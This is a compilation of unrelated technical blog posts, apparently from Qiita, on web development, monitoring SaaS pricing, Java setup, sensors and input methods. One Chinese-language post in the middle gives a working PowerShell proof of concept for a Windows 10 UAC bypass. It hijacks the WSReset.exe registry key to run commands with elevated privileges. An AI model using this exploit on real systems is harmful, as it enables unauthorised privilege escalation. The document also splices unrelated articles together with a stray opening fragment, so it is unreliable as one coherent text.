また、アカウントがbanされたときにサポートに連絡すると書いている人が多くいましたが、herokuのサポートに連絡する方法がイマイチわかりません。どなたか教えてくれませんか？
【簡潔】学習マインドとHTMLタグの仕組み

##学習マインドとHTMLタグの仕組み

こちらの記事ではHTMLを学ぶ上での学習マインドとHTMLの基本的な、タグの仕組みについて非常に簡潔に学ぶことができます。

それでは見ていきましょう。

---
###【学習マインド】



基礎的なことは疎かにしがちですが、ここをスルーしてしまったりしっかり覚えていないと、その後の学習効率が落ちてしまいます。

何故ならカリキュラムや、解説動画を見る際にどこのことを指しているのかが分からなくなってしまうからです。

端的にサクッと記述してしまっていますが、これ意外と大事なんです。



---
###【HTMLタグの仕組み】

```index.html
<h1>おはようございます</h1>
```

上記のような**要素**があったとしてそれらを分解すると下記のようになります。

| ```<h1>```     | おはようございます|```<h1>```|
|:---------------|-------------:|:--------:|
| 開始タグ        | コンテンツ　　　　| 終了タグ  |

先ほど記述した **要素** は`<h1>`と`おはようございます`と`</h1>`をまとめた時の名称です。

**コンテンツ**を**タグ**で囲んで**要素**を作ることを**マークアップ**と言います。

---

読んでいただきありがとうございました。
DatadogとNew Relicを比較してみる

<!-- これは提案のためのテンプレートではあるが、同時にWikiのテンプレートとしても使用可能 -->

# What's ?

<!-- これは何の提案なのか？ -->

サービスのシステム移行に伴って監視SaaSの選定を改めて行うために、監視SaaS界隈でトップを争うdatadogとnew relicの比較しました
監視対象はAWS EC2やECSなので、AWSに特化して比較しています

[余談] Qiita::Teamに書いていたのですが、大部分が公開してもいいような内容だったので公開します

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173064/9008bdb5-d9d8-67f4-de20-847055f5304f.png" width="40%"> <img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/173064/7c02529d-1b9a-7675-1e2b-078c9e24b964.png" width="40%">


<!--
本文
どのようにして提案を実現するのか？
具体的な内容
セクションタイトルは適宜変更・追加
-->

# 公式サポートしているAWSサービス

EC2周りは両方のSaaSでサポートしています
LambdaとFargateの一部に関して、New Relicの公式ドキュメントに説明がありませんでした(自分の調査不足だったら申し訳ない) 
DatadogのFargateに関する[ドキュメント](https://docs.datadoghq.com/ja/integrations/ecs_fargate/)では具体例が記載されていたりして、コンテナ周りのサービスに力を入れているのかなぁなんて思ったりもしました

|AWS|Datadog|New Relic|
|:---:|:---:|:---:|
|EC2|:o:|:o:|
|ECS EC2|:o:|:o:|
|ECS Fargate|:o:|APM :o:<br>クラスタレベルのメトリクス :o:<br>コンテナレベルのメトリクス ?|
|Lambda|:o:|:o:|

## 価格

|機能|AWSの類似サービス|Datadog price|New Relic price|
|:--:|:--:|:--:|:--:|
|Infrastructure|CloudWatch|$15 per host, per month|\$14.4 per host, per month<br>$7.2 per host, per month|
|Log Management|CloudWatch Logs|$1.27 per million log events, per month|retention期間毎<br>8days: \$55 per month<br>15days: \$65 per month<br>30days: \$75 per month|
|APM|X-Ray|$31 per host, per month|\$25 per host, per month<br>$12.5 per host, per month|
|Real User Monitoring / New Relic Browser|(AWSではないけどGoogle Analytics)|$15 per 10k sessions, per month|$149 per month|
|Network Performance|CloudWatch|$5 per host, per month|:o: HostMonitring&SNMP|
|Security|Guard Duty|$0.2 per GB of analyzed logs, per month|:x:|
|Synthetics|CloudWatch Synthetics|\$5 per 10k API test runs, per month $12 1K Browser Test runs, par month|$69 10K Checks ,per month Ping Check NonCount|

# 所感

AWSサービスでも大体カバーできていますが、やはり監視SaaSならではのダッシュボードのUI/UXの洗練さやカスタマイズ性に惹かれてしまいます

決め手となりそうなのは価格ですかね
AWSだとほぼ従量課金性ですが、監視SaaSだと月単位とかで支払いが発生します
それでも監視をより手軽にわかりやすくしたいのであれば、ペイする価値はあるかなと個人的には思っています

# Reference

## datadog
- [機能](https://www.datadoghq.com/ja/product/)
- [Amazon Fargate](https://docs.datadoghq.com/ja/integrations/ecs_fargate/)
- [APM & Distributed Tracing](https://docs.datadoghq.com/ja/tracing/)
- [Plans to fit your scale](https://www.datadoghq.com/ja/pricing/)

## New Relic
- [パフォーマンス分析プラットフォーム | New Relic（ニューレリック）](https://newrelic.co.jp/)
- [New Relic マニュアル・ドキュメント](https://docs.newrelic.co.jp/)
- [New Relic 公式Blog](https://blog.newrelic.co.jp/)
- [AWS LambdaのNew Relic監視を有効にする](https://docs.newrelic.co.jp/docs/serverless-function-monitoring/aws-lambda-monitoring/get-started/enable-new-relic-monitoring-aws-lambda)

@all
【JavaScript】オブジェクトと関数の理解。オブジェクトの中に関数を入れる方法

#【JavaScript】オブジェクトと関数の理解。オブジェクトの中に関数を入れる方法

オブジェクト、関数、オブジェクト+関数を整理してみました。

##オブジェクト
プロパティ名と値のセットで保存されるデータの入れ物。
例えるならロッカー（ロッカーNOと中身）や住所録（住所と住人）。

###オブジェクトの書き方
```js

    const 定数名 = {
        プロパティ名: 値,
        プロパティ名: 値,
    }
```

名前(name)とHP(hp)が登録された定数userListの場合

```js

    const userList = {
        name: "aaa",
        hp: 123
    }
```

console.log(userList);で出力すると
    
```js

    {name: "aaa", hp: 123}
```

と表示される。
".プロパティ名"で階層を深く調べることができる
console.log(userList.name);は'aaa'
console.log(userList.hp);は123を表示する

RPGツクールMVもオブジェクトで管理されている。
たとえばアクター1番の$gameActors.actor(1)には以下の情報が格納されている。

```js

    Game_Actor {_hp: 105, _mp: 40, _tp: 0, _paramPlus: Array(8), _states: Array(0), …}
```

##関数
実行処理を名前で呼び出せるようにまとめたもの。
例えるなら自販機（実行処理に従って、押したボタンに対応した商品が出てくる）。

詳細は以下にて。
【JavaScript】function構文とアロー関数の違い、省略した書き方について
https://qiita.com/kuro_96/items/412d9b9ce1552beb405f

###関数の書き方

```js

const 関数名 = (引数) => {
    実行内容;
}

```

関数名();で関数の処理を実行。

```js

    const greet = () => {
        console.log("Hi!");
    }
    greet();
```


実行結果は"Hi!"と表示される。

##オブジェクトの中に関数

オブジェクトのプロパティに関数、値に関数の実行部分を記述することで、オブジェクトを指定して、関数を実行することができる。
例えるなら、住所を指定して、住人に定型文で挨拶するようなもの。

上で書いたオブジェクトuserListと関数を組み合わせる場合

オブジェクトuserList

```js

    const userList = {
        name: "aaa",
        hp: 123
    }
```

関数greet

```js

    const greet = () => {
        console.log("Hi!");
    }
    greet();
```

userListにgreetプロパティを作り、値の箇所でgreetの実行部を記述する

```js

    const userList = {
        name: "aaa",
        hp: 123,           //プロパティgreetを追加するために末尾に","を追加
        greet: ()=>{
            console.log("Hi!");
        }
    };
    userList.greet();
```

実行結果はHi!となる。
これだけだと礼節に欠けるので、自分の名前を名乗ることにする。
greetの値から見てuserListのnameなので、userList.nameと書けばよい。

```js

    const userList = {
        name: "aaa",
        hp: 123,
        greet: () => {
            console.log(`Hi! I'm ${userList.name}.`);
        }
    };
    userList.greet();
```

実行結果はHi! I'm aaa.となる。
さらに紳士たるMr.aaaは構文をすっきりさせた。

```js

    const userList = {
        name: "aaa",
        hp: 123,
        greet: () => console.log(`Hi! I'm ${userList.name}.`)
    };
    userList.greet();
```
Gasby Starter をGitHubにコピー　【個人用備忘録】

＊個人用備忘録です

**１．気に入ったページを選ぶ**
　　[Gatsby Starterページ](https://www.gatsbyjs.org/starters?v=2)で良い感じのページを探す
　　クローン用のURLをコピーしておく
　
**２．GitHubにコピー**
　　・　新規リポジトリを作成
　　・　import code　クリックで先ほどのURLを入力
　　![soku-madori_- - Google Chrome 2020_05_09 11_35_51 (5)_LI.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/634499/da080cdc-8de1-4ea8-3ccc-e7c10a80ec67.jpeg)

enjoy with Gatsby!
【Xcode】暦法を指定したユニットテスト

## 概要

暦法付きロケールIDを引数 `AppleLocale` に設定すると暦法指定のテストができます。Test Plansと組み合わせると便利です。

## xctestplanファイルの用意

Test Plans未導入の場合は、`Product -> Scheme -> Edit Scheme` 画面Testタブの`Convert to use Test Plans` からxctestplanファイルを生成してください。ファイルの `Configurations` タブを開くと、様々な設定項目があることを確認できます。
<img width="1395" alt="スクリーンショット 2020-05-06 午後6.43.52.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/298794/96fe5696-19ce-db0d-f47f-5f3a45227b48.png">
これらの中でも地域設定には `Localization -> Application Region` を使用すれば良さそうですが、Xcode11現在、暦法すなわちCalendarを指定する仕組みはありません。
そこで、 `Arguments Passed On Launch` から地域を直接指定します。

## 指定する引数の用意

地域の設定には、引数 `AppleLocale` を利用します。( 参考: [Testing Your Internationalized App](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPInternational/TestingYourInternationalApp/TestingYourInternationalApp.html) )
引数には、カレンダー指定込みロケールIDを渡します。下記は和暦指定の例です。カレンダーIDは、[Calendar.Identifier](https://developer.apple.com/documentation/foundation/calendar/identifier) の値を参考にすると良さそうです。

```shell
-AppleLocale ja_JP@calendar=japanese 
```

また、この指定を有効にするため、 `Localization -> Application Region` は `System Region` とします。
以上を反映させた画面が下記です。
<img width="1064" alt="スクリーンショット 2020-05-06 午後7.22.31.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/298794/b59e7f23-a1b3-d50f-78ef-9e364f463df9.png">

### 値の詳細

この値は、下記処理の出力を元に作成しました。

```swift
print(Locale.current)

# 和暦設定時
# ja_JP@calendar=japanese (current)

# 西暦設定時
# ja_JP (current)
```

## 実行

`Cmd + U`等から通常実行します。すると、指定した暦法の元ユニットテストが行われます。

## 参考

Test plansの詳細な使い方は、下記を参考にさせていただきました。

- [Xcode 11でのテスト周りの新機能を紹介します！](https://swet.dena.com/entry/2019/10/23/080000)
【初心者向け】form_forヘルパーメソッド

##はじめに
Railsチュートリアル７章あたりからコードが段々と難しくなり、特にform_forヘルパーメソッドについては中々わからなかったので自分なりに調べて解説してみます。

##form_forヘルパーメソッド

ヘルパーメソッドとはViewをよりシンプルに重複を少なく書くためのメソッドです。

その中でもform_forヘルパーメソッドはRailsでフォームタグを簡単に作成することができるメソッド。実際には以下のようなコードを書いて使用します。()は省略することができます。

```erb:◯◯◯.html.erb
<%= form_for(モデルクラスのインスタンス) do |f| %>

　フォームの中身

<% end %>
```

Railsチュートリアルの7.2ユーザー登録フォームを例にとります。

form_forの引数にはモデルクラスのインスタンスを入れるということなのでコントローラで@user変数を定義します。

「モデルクラスのインスタンス」とは保存したいテーブルのクラスのインスタンスという意味です。

ユーザー登録する際にはもちろん「usersテーブル」が対象となります。

```ruby:app/controllers/users_controller.rb
class UsersController < ApplicationController

  def new
    @user = User.new
  end
end
```

次にHTMLにform_forヘルパーメソッドを使用してテンプレートを構築します。

```erb:app/views/users/new.html.erb
<%= form_for(@user) do |f| %>
      <%= f.label :name %>
      <%= f.text_field :name %>
<% end %>
```

今回はform_forヘルパーメソッドを理解するのが目的なので、理解に不要なコードは削除してます。

フォームの中身として２つのコードを書きました。それぞれのコードは以下のようなHTMLを生成しています。

**<%= f.label :name %>**

```html:HTML
<label for="user_name">Name</label>
```
**<%= f.text_field :name %>**

```html:HTML
<input id="user_name" name="user[name]" type="text" />
```
フォームに入力する内容によって「◯◯◯_field」となります。

例えばパスワードを入力させたいフォームを生成する際は「password_field」, メールアドレスを入力させたいフォームを生成する際には「email_field」となります。

全体のHTMLソースは以下のコードになります。

```html:全体のHTMLソース
<form accept-charset="UTF-8" action="/users" class="new_user"
      id="new_user" method="post">

  <input name="utf8" type="hidden" value="&#x2713;" />
  <input name="authenticity_token" type="hidden"
         value="NNb6+J/j46LcrgYUC60wQ2titMuJQ5lLqyAbnbAUkdo=" />

<label for="user_name">Name</label>
  <input id="user_name" name="user[name]" type="text" />

<input class="btn btn-primary" name="commit" type="submit"
         value="Create my account" />
</form>
```

長い。今回は学習を進める上で重要な部分のみを見ていきます。

```html
<form accept-charset="UTF-8" action="/users" class="new_user"
      id="new_user" method="post">
.
.
.

</form>
```

このようにformタグが生成されました。重要なのは```action="/users"```と```method="post"```の２つ。

これは「/usersに対してHTTPのPOSTリクエストを送信する」という意味です。



Railsは@userのクラス（User）、@userが新しいユーザーかどうかを認識しますので、「postメソッドを使ってフォームを構築すべき」と判断してくれます。

そのため自分で指定していなくても上のコードのようなformタグが形成されます。

##最後に

少しでも学習を進めている人のお役に立てられたら幸いです。

参考
・[pikawaka.com](https://pikawaka.com/rails/form_for)
・[sejuku.net](https://www.sejuku.net/blog/13163)
Javaのインストール(Mac, Homebrew, 複数バージョン管理)

## はじめに

Macで**Javaのインストール方法**、**インストールするバージョン**で悩んでる方向けの記事です。


Javaってバージョンが８と11と14の３つありますよね。

「今は8でいいけど将来14にしたくなるかも〜」

って思うと、どのバージョンをインストールすれば良いか悩みますよね。

調べてみると、[homebrew-cask-versions](https://github.com/Homebrew/homebrew-cask-versions)を使うと複数バージョン管理出来ることが分かりました。

## 私の試した環境
OS: macOS Catalina(バージョン 10.15.4)
ターミナル: [iTerm2](https://www.iterm2.com/)

## Homebrewのインストール

#### Homebrewが入ってるか調べる
```
$ brew -v
```
バージョンが表示されなかったらインストールされています。

#### インストールされてたらHomebrewをアップデートする

```
$ brew update
```

#### インストールされたなかったら

[公式サイト](https://brew.sh/)にてインストールするコマンドが記載されています。コピーしてターミナルに貼り付けて実行すればインストールできます。

2020/05/09時点の記載コマンド

```
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
```

## homebrew-cask-versions のインストール

複数バージョンを管理してくれる機能です。

[公式サイト](https://github.com/Homebrew/homebrew-cask-versions)にて記載されているインストールコマンドを実行します。
2020/05/09時点の記載コマンド

```
$ brew tap homebrew/cask-versions
```
インストールというよりHomebrewの機能拡張という感じでしょうか。


## Java14 のインストール

2020/05/09時点の最新版はJava14なのでバージョンしていせずに
インストールするとJava14がインストールされます。

```
$ brew cask install java
```


## Java11 のインストール

```
$ brew cask install java11
```

## Java8 のインストール

```
$ brew cask install java8
Error: Cask 'java8' is unavailable: No Cask with this name exists.
```
ー＞Errorが発生します。ライセンスの関係でエラーになるようです。

代替として用意されている「adoptopenjdk8」をインストールします。

```
$ brew cask install homebrew/cask-versions/adoptopenjdk8
```


## インストール済みのJavaを確認する
```
$ /usr/libexec/java_home -V

Matching Java Virtual Machines (3):
    14.0.1, x86_64:	"OpenJDK 14.0.1"	/Library/Java/JavaVirtualMachines/openjdk-14.0.1.jdk/Contents/Home
    11.0.2, x86_64:	"OpenJDK 11.0.2"	/Library/Java/JavaVirtualMachines/openjdk-11.0.2.jdk/Contents/Home
    1.8.0_252, x86_64:	"AdoptOpenJDK 8"	/Library/Java/JavaVirtualMachines/adoptopenjdk-8.jdk/Contents/Home

/Library/Java/JavaVirtualMachines/openjdk-14.0.1.jdk/Contents/Home
```
※私の環境では11と8が２つも入ってますね。。。

## Javaのバージョンを切り替える

利用しているシェルの起動時に読み込まれる設定ファイルを更新します。

デフォルトではbashというシェルが使われており、
設定ファイルは「~/.bashrc」というファイルになっていると思います。

環境変数「JAVA_HOME」と「PATH」の２つに追加します。

使用したいバージョンに併せて下記の３つのいずれかを書き込んでください。

### Java14
```
export JAVA_HOME=`/usr/libexec/java_home -v "14"`
PATH=${JAVA_HOME}/bin:${PATH}
```
### Java11
```
export JAVA_HOME=`/usr/libexec/java_home -v "11"`
PATH=${JAVA_HOME}/bin:${PATH}
```
### Java8
```
export JAVA_HOME=`/usr/libexec/java_home -v "1.8"`
PATH=${JAVA_HOME}/bin:${PATH}
```

書き込みが終わったら新しくターミナルアプリを立ち上げて
Javaのバージョンを確認してください。

```
$ java --version
```

## おまけ(Visual Studio Codeの設定)

```
/usr/libexec/java_home -V
```
を使って各バージョンのJavaのパスをチェックし、

Visual Studio Codeの設定[⌘ + ,]にて、
「javahome」で検索すると設定ファイルがOpenされると思います。

「java.home」に現在のJavaバージョンのパスを指定します。

```
例：
"java.home": "/Library/Java/JavaVirtualMachines/openjdk-11.0.2.jdk/Contents/Home"
```

## 最後に

以上が私が調べた「MacでHomebrewを使ってJavaの複数バージョンを切り替える方法」となります。

おかしな点やもっと良い方法などありましたら教えていただければ嬉しいです。

インストールが終わったらプログラムを書いたり、デバッグ実行したりしたいと思います。

Javaでの開発環境(プログラムを書いたり、デバッグ実行する)を構築する記事も書いてますので、よかったら是非ご参照ください。

- [Javaの開発環境(Mac, VS Code)](https://qiita.com/aoyaman/items/cd3ed987b8b704778144)
- [Javaの開発環境(Mac, Eclipse)](https://qiita.com/aoyaman/items/9484163459d974b79f68)

おわり。
Win10利用应用商店WSReset.exe进行bypassuac

## 环境
win10 1909 18363.535 Pro

## 复现
利用微软提供的[sigcheck.exe](https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)签名检查工具发现`C:\Windows\System32\WSReset.exe`存在`autoElevate`属性为`true`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d12aeb7b-22f3-759f-bafe-52e76cb1830b.png)

使用Procmon64.exe添加过滤条件

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ae3c29a2-ab16-f737-0fda-c9b9911e8c06.png)

没找到`HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command`

根据[微软文档](https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key)可知用户特定的设置优先于默认设置，而当前用户可以写入这个值，那么可以使用powershell来实现poc。

```powershell
<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API

Author: Hashim Jawad of ACTIVELabs

.PARAMETER Command
Specifies the command you would like to run in high integrity context.
 
.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"

This will effectivly start cmd.exe in high integrity context.

.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#>

function Invoke-WSResetBypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )

      $CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      $filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"

      $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"

      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5

      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}
```

在我自己测试的过程中因为WSReset.exe启动过慢的情况出现了多次复现不成功，建议把powershell脚本去掉后面的清空注册表，避免WSReset运行时找不到注册表，不过记得手动清除。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/372a93d1-5be6-d137-3d7d-429a1fc1328c.png)

## 参考
1. https://www.activecyber.us/activelabs/windows-uac-bypass
2. https://github.com/sailay1996/UAC_Bypass_In_The_Wild
BH1750について

BH1750FVIのモジュールが安価に入手できたので使い方を調べてみました。

BH1750の英語のデータシートはネットで入手できます。BH1750はすでにディスコンになっていて、後継のチップはBH1721FVCなどになるようです。BH1721FVCのデータシートは日本語のものがロームのサイトにありました。仕様が一部変更されているようです。

BH1750のデフォルトのI2Cアドレスは0x23で通常はContinuously H-Resolution Modeの0x10を書くと、その後2バイトづつデータ読めます。

値(Lux)はデフォルトでは

((buff[0] << 8) | buff[1]) / 1.2

この場合0.83ステップでのデータになります。ほとんど整数値に近いので

((buff[0] << 8) | buff[1]) * 5 / 6

と整数演算しても良いかもしれません。

これより細かいステップでデータを取得したい場合はMtregを使う必要があります。Mtregは31から254でデフォルトが69となります。

例えば254の場合は

(((buff[0] << 8) | buff[1]) * 69) / (1.2 * 254)

で0.23ステップになります。

またH-Resolution Mode2(0x11)ではこれの半分のステップになります。

読み取れるデータはこうなっていて

![スクリーンショット 2020-05-09 11.17.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/ed687018-bfa3-d068-cb37-1ec0800f7b2b.png)

例えばbuff[0] = 0,buff[1] = 1の場合

2の-1乗は0.5なので

(0.5 * 69) / (1.2 * 254) = 0.11

となります。

2の0乗は1ってこと忘れてました。^ ^;

Mtregを小さくすれば100000Luxまで測れるようですが、逆に大きくすると上限は小さくなります。Mode2でMtregが254の場合7417がMAXなので、5000以上になる場合は通常モードやMtregを小さくして計測するのが良いです。

7400付近でさちってます。

![スクリーンショット 2020-05-11 8.41.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/57d229a4-f1d2-1977-f73b-c9b81c1b65bc.png)

H-Resolution Mode2でMtreg=254にして[mrubyスクリプト](https://github.com/yamori813/rtlbm-mruby/blob/master/samples/bh1750.rb)で20秒おきにデータを拾ってThingSpeakに投げてみました。

最初に試した時にはいきなり小さい値が出てきたりして安定しませんでした。

![スクリーンショット 2020-05-10 7.56.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/9189e863-3925-75ec-de41-f3bc26362602.png)

蟹さんとI2Cバスリピーター(PCA9515AD)を挟んでつないでいたのですが、直接つないだら正常に動くようになりました。

![スクリーンショット 2020-05-11 5.00.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/54a14904-f25a-6df2-cf74-b953d05652c6.png)

蟹さんのJTAGピンをGPIOにしてBITBANGでI2Cしているのですが、このピンは内部でpull-up(75K)されていているのが原因で、動作が変な気がします。

0.11ステップでとれてるようなのですが、データが滑らかになっていません。

pull-up抵抗を調整したりデバイスを増やしてみたりしていたところ、挙動が変わりました。謎です。

![スクリーンショット 2020-05-12 10.12.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/0fc35e79-3e92-b9b0-9847-ed130a233d1e.png)

~~[mrubyスクリプト](https://github.com/yamori813/rtlbm-mruby/blob/master/samples/bh1750.rb)はまずOne TimeのL-Resolution Modeでデータを取得して、1000以下の場合はH-Resolution Mode2で再取得するようにしました。~~

BH1750はModeやResolutionを動的に変えると変な動きになるので、変えない方が良さそうです。暗い方を細かく取りたい場合はHigh Mode2でMtregを大きくして、明るい方を上限まで取りたい場合はLow ModeでMtregを小さくするとよいでしょう。

蟹さんのmrubyはfloatが使えないので100倍の整数演算で計算して文字列にして小数点を付けてます。

入手したモジュールはGY-302と呼ばれているもののようです。

![写真（2020-05-09 9.55）.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/7b6431f9-9fbd-e073-f903-209bc0505979.jpeg)

回路はこんなになってるようです。

![GY-302.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/8012bcc6-fde3-a0bd-270b-eab3ba4f9a50.png)

このチップのVCCの標準は3.0Vで3.3Vではありません。3.3Vでも動きますが。またこのモジュールにはI2Cのレベル変換がないので、5Vで使うのは規定範囲から外れます。
［Ubuntu］USキーボード配列で日本語入力できるようにする

# はじめに

最近 Ubuntu をインストールして Android 開発環境として使い始めているのですが、US キーボードで日本語入力できるようにする方法がわからずちょっと困ったのでここに備忘録として書いておこうかと思います。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/8cb4b4b5-f783-da3b-6e97-227ec8c2bfcd.png)


# Fcitx をインストールする
まずは Fcitx というインプットメソッドフレームワークをインストールします。Ubuntu Software を開き、左上に Fcitx して検索してインストールします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/57be0d20-97d3-9b3a-d093-0a5c56cf8d0e.png)

このままだと fcitx が使えない状態になっているので Setting を開いて有効化します。Setting の Regions & Language の Manage Installed Language を選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/ccfbef05-0515-2ce3-2e3f-62b79057001e.png)

この画面を開くと Language Support に関連するインストールを求められることがありますが、そのままでは設定変更ができないのでインストールします。設定変更ができるようになるので Keyboard input method system を fcitx に変更すれば Fcitx を有効化できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/267dc708-f8d0-0ee9-2b4d-6084a8b9dd8d.png)

# Fcitx Mozc をインストールする

今回は IME として Google が開発している Mozc を使おうと思います。Mozc は次のコマンドでインストールします。

```
$ sudo apt-get install fcitx-mozc
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/8a615170-2c0a-b6f4-400d-4847bc4232ce.png)


この状態だと Mozc が使えない状態になっているので、Fcitx Configuration を開いて Mozc を有効化します。左下の+を選択して Input Method の追加を開始します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/1faf69ab-1e29-1204-2308-c6fc1b2d3044.png)

Only Show Current Language のチェックを外し、Mozc と入力し検索します。そうすると Mozc が出てくるので選択して OK します。Mozc が出ない場合には Ubuntu を再起動してください、私は出ませんでしたが再起動したらでるようになりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/924194e7-429a-c96c-c7e0-5606c091f046.png)

OKを押すとこのように Mozc が追加され日本語入力ができるようになっています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/6a80a86f-f07b-c73b-74b4-bfcf1a47b002.png)

あとはお好みで Global Config の Trigger Input Method で日本語入力を切り替えるキーを変更します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/79387/68dc4a5c-52fd-3b14-b5bd-d2300b16875e.png)

# おわりに
Fcitx を使えば US キーボード配列で日本語入力が簡単にできるようになります。他の記事では iBus を使った方法がありますが、キーボード配列が日本語配列になってしまったり大変でした。Fcitx を使ったインストールは簡単ですし、また何か環境をセットアップするならば Fcitx を使おうかと思います。
フォームを送信する前にブラウザの確認ダイアログを表示する(Vue編)

##やりたいこと
　"フォームを送信する前に確認をはさみたい" というのはよくあることだと思います。この記事では、Vueを導入しているプロジェクトのもとで、ブラウザの confirm()※確認ダイアログ を使ってそれを実現する場合にはどうすべきかを解説します。注意点として、フォームの送信は通常のブラウザからの送信であり、axiosは用いていないものとします。

##サンプル
<p class="codepen" data-height="265" data-theme-id="light" data-default-tab="html,result" data-user="hyaroy_pg" data-slug-hash="VwvXyXg" style="height: 265px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="Confirmation form using browser confirm window">
  <span>See the Pen <a href="https://codepen.io/hyaroy_pg/pen/VwvXyXg">
  Confirmation form using browser confirm window</a> by ひろ@技術アカ (<a href="https://codepen.io/hyaroy_pg">@hyaroy_pg</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

　CodePenで作成したサンプルです。次のような挙動を示すことを確認してください。

- SUBMITボタンを押すと確認ダイアログが表示される
- 確認ダイアログでキャンセルを押すと何も起きない
- 確認ダイアログでOKを押すと画面が白くなる

　まずSUBMITボタンを押すとコンファームが表示されます。本来ならばボタンを押せばフォームがそのまま送信されていしまいますが、後述する @submit によってフォームの送信が抑制されています。
　次に表示されたコンファーム画面でキャンセルを押したときの挙動ですが、文字通りフォーム送信がキャンセルされますので何も起きません。
　そして最後にOKを押した際の挙動ですが、画面が白くなります。これはフォームが送信されたことを意味します。あくまでもサンプルであり、フォームの送信先がダミー値なためにこのようになります。


##解説
　通常のフォームと変わらない部分の説明は割愛し、それぞれ肝となる箇所を解説していきます。

###@submit
```sample.html
<!--@submmitディレクティブでフォーム送信に割り込む--> 
<form method="post" @submit="submit()" action="/">
```
```sample.js
new Vue({
  el: '#app',
  
  methods: {
    
    // 呼び出されるメソッド
    submit(){
      const ans = confirm('Register?');
      if(!ans) event.preventDefault();
    }
    
  }
});
```
\<form>タグ中の@submitディレクティブによって、フォームがそのまま送信されてしまうことを抑制し、Vueのメソッドを割り込ませることができます。サンプルでは "@submit="submit()" としてVueインスタンスの submit() メソッドを呼び出しています。

###confirm()
```sample.js
new Vue({
  el: '#app',
  
  methods: {
   
    submit(){
      const ans = confirm('Register?'); // 確認ダイアログの表示
      if(!ans) event.preventDefault();
    }
    
  }
});
```

confirm() の記述によって確認ダイアログを表示させます。変数ansにはユーザの反応結果がtrue/falseで格納されます。

###event.preventDefault()
```sample.js
new Vue({
  el: '#app',
  
  methods: {
   
    submit(){
      const ans = confirm('Register?'); 
      if(!ans) event.preventDefault(); // 「キャンセル」押下ならば event を抑制
    }
    
  }
});
```

キャンセル押下時にフォームをキャンセルする処理をしたいので、条件式としては "if(!ans)" となります。そして event.preventDefault と続きます。この記述によってフォームの送信が実際にキャンセル(抑制)されます。
キャンセルしなければ勝手にフォームが送信されます。フォームの送信に何らかのコードの記述は不要です。

##おわりに
確認ダイアログをフォームで利用すること自体は何でもないことですが、"Vueを使ってるプロジェクトではどうやるのがスマートなの？"という疑問への答えになっていれば幸いです。
[xcode]画面比に合わせてオブジェクトの位置が動くようにする

Autoresizingの指定をすべて外すと、画面サイズの比率に合わせてオブジェクトの位置が動くようになる。

![autoresizing.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/171110/b81975d8-01bc-ebde-5e31-0b4de0df0a86.gif)